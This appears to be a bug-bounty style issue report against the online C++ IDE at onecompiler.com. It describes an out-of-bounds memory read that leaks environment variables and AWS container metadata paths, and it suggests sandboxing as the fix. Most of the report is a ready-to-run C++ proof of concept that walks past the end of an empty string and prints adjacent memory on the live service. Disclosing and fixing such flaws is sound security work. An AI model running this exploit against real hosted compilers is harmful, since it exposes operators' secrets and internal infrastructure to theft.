-
Notifications
You must be signed in to change notification settings - Fork 3
Open
Description
Summary:
Online C++ IDE allows OOB vulnerability that attacker to gain server env variables & internal server information - such as NVM_INSTALL_PATH, ECS_CONTAINER_METADATA_URI_V4, etc.
Affected Domain:
https://onecompiler.com/cpp
Severity:
High
Steps to reproduce:
Go to - https://onecompiler.com/cpp
Enter the given code below and execute it.
Impact:
Allowed to access out of bound memory in an online compiler, leading to leakage of environment variables and system paths. As an attacker, sensitive AWS instance metadata and internal system information were exposed through memory disclosure.
PoC:
#include <string>
#include <iostream>
#include <cctype>
using namespace std;
int main(void) {
string str = "";
int idx = 0;
while (str[idx] != '*') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
while (str[idx] != '_') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
while (str[idx] != 'E') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
while (str[idx] != '\0') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
while (str[idx] != '_') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
while (str[idx] != 'P') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
while (str[idx] != '0') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
while (str[idx] != 'L') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
while (str[idx] != 'E') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
while (str[idx] != '/') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
while (str[idx] != 'L') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
while (str[idx] != '/') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
while (str[idx] != 'E') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
while (str[idx] != 'M') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
while (str[idx] != 'n') {
if (isprint(str[idx])) {
cout << str[idx];
}
idx++;
}
cout << endl;
return 0;
}
Fix:
Block the abnormal memory access - using sandbox, addresssanitizer options
Metadata
Metadata
Assignees
Labels
No labels
